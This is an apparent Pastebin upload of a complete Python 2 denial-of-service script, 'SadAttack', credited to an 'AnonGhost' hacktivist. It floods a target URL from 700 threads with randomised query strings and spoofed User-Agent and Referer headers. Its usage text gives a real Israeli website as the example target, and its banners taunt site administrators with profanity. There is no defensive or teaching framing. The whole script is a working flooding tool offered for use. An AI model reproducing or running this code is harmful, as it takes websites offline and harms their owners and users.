HaxStroke

[PYTHON]Sadattack DDoS Tool

Aug 5th, 2016
5,690
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.62 KB | None | 0 0
  1. ####################################->
  2. #4312644bf54db17180c8a95add9fdc06####-->uauauauauauauau
  3. #9dfb17e500b557a9d985c08da4fd0aaf#####--->We will fuck your site D:
  4. #5afc3c0f68ff47b53b485fcd53e898a9######---->SadAttack :(
  5. #ff46a6b3100d11c29d4233c72f604a10#####--->uauauauauauau
  6. #6e70e3b1bf171ae14505f4f8b0dc4e5a####-->
  7. ####################################->
  8. #https://www.youtube.com/watch?v=Aps4ZczffVw#
  9. #Allahu Akbar!#
  10.  
  11.  
  12. import urllib2
  13. import sys
  14. import threading
  15. import random
  16. import re
  17.  
  18. #global params
  19. url='' ###############################
  20. host='' #~~~~Created By Hax Stroke~~~~#
  21. headers_useragents=[] #~~~~~~~~~~@FollowMe~~~~~~~~~~#
  22. headers_referers=[] #fb.com/anonghostsoldierstroke#
  23. request_counter=0 #~~~youtube.com/c/HaXStroKE~~~#
  24. flag=0 #~~~~~Twitter:@HaxStroKE~~~~~~#
  25. safe=0 ###############################
  26.  
  27. def inc_counter():
  28. global request_counter
  29. request_counter+=45
  30.  
  31. def set_flag(val):
  32. global flag
  33. flag=val
  34.  
  35. def set_safe():
  36. global safe
  37. safe=1
  38.  
  39. # generates a user agent array
  40. def useragent_list():
  41. global headers_useragents
  42. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) BlackHawk/1.0.195.0 Chrome/127.0.0.1 Safari/62439616.534')
  43. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  44. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  45. headers_useragents.append('Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)')
  46. headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0 IceDragon/26.0.0.2')
  47. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  48. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  49. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  50. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  51. headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  52. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  53. headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  54. return(headers_useragents)
  55.  
  56. # generates a referer array
  57. def referer_list():
  58. global headers_referers
  59. headers_referers.append('http://www.google.com/?q=') ############################
  60. headers_referers.append('http://www.usatoday.com/search/results?q=') #Pre-configured #
  61. headers_referers.append('http://engadget.search.aol.com/search?q=') #Botnets #
  62. headers_referers.append('http://www.google.com/?q=') #Infected's Websites #
  63. headers_referers.append('http://www.usatoday.com/search/results?q=') #Best's Shells Only #
  64. headers_referers.append('http://engadget.search.aol.com/search?q=') #All uploaded by Hax Stroke#
  65. headers_referers.append('http://www.bing.com/search?q=') #From AnonGhost Team #
  66. headers_referers.append('http://search.yahoo.com/search?p=') ############################
  67. headers_referers.append('http://www.ask.com/web?q=')
  68. headers_referers.append('http://search.lycos.com/web/?q=')
  69. headers_referers.append('http://busca.uol.com.br/web/?q=')
  70. headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=')
  71. headers_referers.append('http://www.dmoz.org/search/search?q=')
  72. headers_referers.append('http://www.baidu.com.br/s?usm=1&rn=100&wd=')
  73. headers_referers.append('http://yandex.ru/yandsearch?text=')
  74. headers_referers.append('http://www.zhongsou.com/third?w=')
  75. headers_referers.append('http://hksearch.timway.com/search.php?query=')
  76. headers_referers.append('http://find.ezilon.com/search.php?q=')
  77. headers_referers.append('http://www.sogou.com/web?query=')
  78. headers_referers.append('http://api.duckduckgo.com/html/?q=')
  79. headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  80.  
  81. # generates a Keyword list
  82. def keyword_list():
  83. global keyword_top
  84. keyword_top.append('HaxStroke')
  85. keyword_top.append('Suicide')
  86. keyword_top.append('Sex')
  87. keyword_top.append('Robin Williams')
  88. keyword_top.append('World Cup')
  89. keyword_top.append('Ca Si Le Roi')
  90. keyword_top.append('Ebola')
  91. keyword_top.append('Malaysia Airlines Flight 370')
  92. keyword_top.append('ALS Ice Bucket Challenge')
  93. keyword_top.append('Flappy Bird')
  94. keyword_top.append('Conchita Wurst')
  95. keyword_top.append('ISIS')
  96. keyword_top.append('Frozen')
  97. keyword_top.append('014 Sochi Winter Olympics')
  98. keyword_top.append('IPhone')
  99. keyword_top.append('Samsung Galaxy S5')
  100. keyword_top.append('Nexus 6')
  101. keyword_top.append('Moto G')
  102. keyword_top.append('Samsung Note 4')
  103. keyword_top.append('LG G3')
  104. keyword_top.append('Xbox One')
  105. keyword_top.append('Apple Watch')
  106. keyword_top.append('Nokia X')
  107. keyword_top.append('Ipad Air')
  108. keyword_top.append('Facebook')
  109. keyword_top.append('Anonymous')
  110. keyword_top.append('DJ Bach')
  111.  
  112. headers_referers.append('http://' + host + '/')
  113. return(headers_referers)
  114.  
  115. #builds random ascii string
  116. def buildblock(size):
  117. out_str = ''
  118. for i in range(0, size):
  119. a = random.randint(65, 160)
  120. out_str += chr(a)
  121. return(out_str)
  122.  
  123. def usage():
  124. print 'SadAttack Version 2.0 DDoS Tool Created By Hax Stroke '
  125. print 'AnonGhost Team Page: http://facebook.com/anonghost.sec'
  126. print 'New loaded Botnets: 39,445,657'
  127. print 'Usage: SadAttack (url)'
  128. print 'Example: Sadattack.py http://luthi.co.il/'
  129. print "\a"
  130. print \
  131. """
  132. ###################
  133. ###!!!!!!!!!!!!!!!!!!!####
  134. ###!!!!!!!!!!!!!!!!!!!!!!!!!####
  135. ##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!###
  136. ###!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!###
  137. ##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!###
  138. ##!!!!!!!!!#####!!!!!!!!!!!#####!!!!!!!!!##
  139. ##!!!!!!!!!!######!!!!!!!!!!######!!!!!!!!!##
  140. ##!!!!!!!!!!!####!!!!!!!!!!!!####!!!!!!!!!!!##
  141. ##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!##
  142. ##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!##
  143. ##!!!!!!!!!!!!!!!!!!!!####!!!!!!!!!!!!!!!!!!!!##
  144. ##!!!!!!!!!!!!!!!###############!!!!!!!!!!!!!!##
  145. ##!!!!!!!!!!!!####!!!!!!!!!!!#####!!!!!!!!!!!##
  146. ###!!!!!!!!!###!!!!!!!!!!!!!!!!!!##!!!!!!!!!!##
  147. ##!!!!!!!!!#!!!!!!!!!!!!!!!!!!!!!!##!!!!!!!!##
  148. ###!!!!!!#!!!!!!!!!!!!!!!!!!!!!!!!##!!!!!!!##
  149. ###!!!!!#!!!!!!!!!!!!!!!!!!!!!!!!!##!!!!!##
  150. ###!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!##
  151. ###!!!!!!!!!!!!!!!!!!!!!Hax!!Stroke##
  152. ###!!!!!!!!!!!!!!AnonGhost!Team##
  153. ####!!!!!!!!!!!!!SadAttacK###
  154. ####!!!!!!!!!!!!!!!!!###
  155. #################
  156. _________________________________________________________________
  157.  
  158. ################## Smoking loud I'm a lonely cloud
  159. #SadBoys 2001 # I'm a lonely cloud, with my windows down
  160. #Yoshi city # I'm a lonely, lonely, I'm a lonely, lonely
  161. ################## I'm a lonely, lonely, I'm a lonely, lonely
  162.  
  163. Music : https://www.youtube.com/watch?v=iX1a3JngmpI
  164. _________________________________________________________________
  165. """
  166.  
  167.  
  168. #http request
  169. def httpcall(url):
  170. useragent_list()
  171. referer_list()
  172. code=0
  173. if url.count("?")>0:
  174. param_joiner="&"
  175. else:
  176. param_joiner="?"
  177. request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  178. request.add_header('User-Agent', random.choice(headers_useragents))
  179. request.add_header('Cache-Control', 'no-cache')
  180. request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  181. request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(50,100)))
  182. request.add_header('Keep-Alive', random.randint(110,160))
  183. request.add_header('Connection', 'keep-alive')
  184. request.add_header('Host',host)
  185. try:
  186. urllib2.urlopen(request)
  187. except urllib2.HTTPError, e:
  188. #print e.code
  189. set_flag(1)
  190. print ' '
  191. print '#~~~~~~~> We Are AnonGhost <~~~~~~~~#~~~>Welcome for the sadness<~~#'
  192. print '#~~~~~~> Belong your database <~~~~~#~~~~~~~~~>Hello admin<~~~~~~~~#'
  193. print '#~~~~~~> Fuck your Firewall <~~~~~~~#~~~~>your website is down<~~~~#'
  194. print '#~~~> Your website will be down <~~~#~~~>By SadAttack Mass DDoS<~~~#'
  195. print ' '
  196. code=500
  197. except urllib2.URLError, e:
  198. #print e.reason
  199. sys.exit()
  200. else:
  201. inc_counter()
  202. urllib2.urlopen(request)
  203. return(code)
  204.  
  205.  
  206. #http caller thread
  207. class HTTPThread(threading.Thread):
  208. def run(self):
  209. try:
  210. while flag<2:
  211. code=httpcall(url)
  212. if (code==500) & (safe==1):
  213. set_flag(2)
  214. except Exception, ex:
  215. pass
  216.  
  217. # monitors http threads and counts requests
  218. class MonitorThread(threading.Thread):
  219. def run(self):
  220. previous=request_counter
  221. while flag==0:
  222. if (previous+150<request_counter) & (previous<>request_counter):
  223. print "#~~~>Sad DDoS Attack's Sended: %d Sending more<~~~#" % (request_counter)
  224. previous=request_counter
  225. if flag==2:
  226. print "\n ~>Stopping the mass DDoS Attack<~"
  227.  
  228. #execute
  229. if len(sys.argv) < 2:
  230. usage()
  231. sys.exit()
  232. else:
  233. if sys.argv[1]=="help":
  234. usage()
  235. sys.exit()
  236. else:
  237. print "Starting the Sadness in webserver Sad DDoS Tool"
  238. print "Created By Hax Stroke"
  239. if len(sys.argv)== 3:
  240. if sys.argv[2]=="safe":
  241. set_safe()
  242. url = sys.argv[1]
  243. if url.count("/")==2:
  244. url = url + "/"
  245. m = re.search('http\://([^/]*)/?.*', url)
  246. host = m.group(1)
  247. for i in range(700):
  248. t = HTTPThread()
  249. t.start()
  250. t = MonitorThread()
  251. t.start()
  252.  
  253. ####################################->
  254. #4312644bf54db17180c8a95add9fdc06####-->uauauauauauauau
  255. #9dfb17e500b557a9d985c08da4fd0aaf#####--->We will fuck your site D:
  256. #5afc3c0f68ff47b53b485fcd53e898a9######---->SadAttack :(
  257. #ff46a6b3100d11c29d4233c72f604a10#####--->uauauauauauau
  258. #6e70e3b1bf171ae14505f4f8b0dc4e5a####-->
  259. ####################################->
Advertisement
Add Comment
Please, Sign In to add comment